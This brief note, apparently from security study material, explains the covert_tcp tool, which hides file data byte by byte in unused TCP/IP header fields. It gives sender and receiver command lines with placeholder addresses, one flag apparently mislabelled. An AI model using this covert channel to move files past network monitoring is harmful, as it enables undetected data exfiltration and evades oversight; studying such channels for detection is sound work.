Covert TCP

Covert TCP help us to hide the data that is being sent over the network by manipulating the TCP/IP header.

We send the data in the left out spaces present in the header 1 Byte at a time.

Sender Machine

./covert_tcp -source <ip address of sender> -dest <ip address of receiver> -source_port <origin port number> -dest <reciever port number> -file <file name> 

Receiver Machine

./covert_tcp -source <ip address of sender> -source_port <sender destination port number> -server -file <file name>
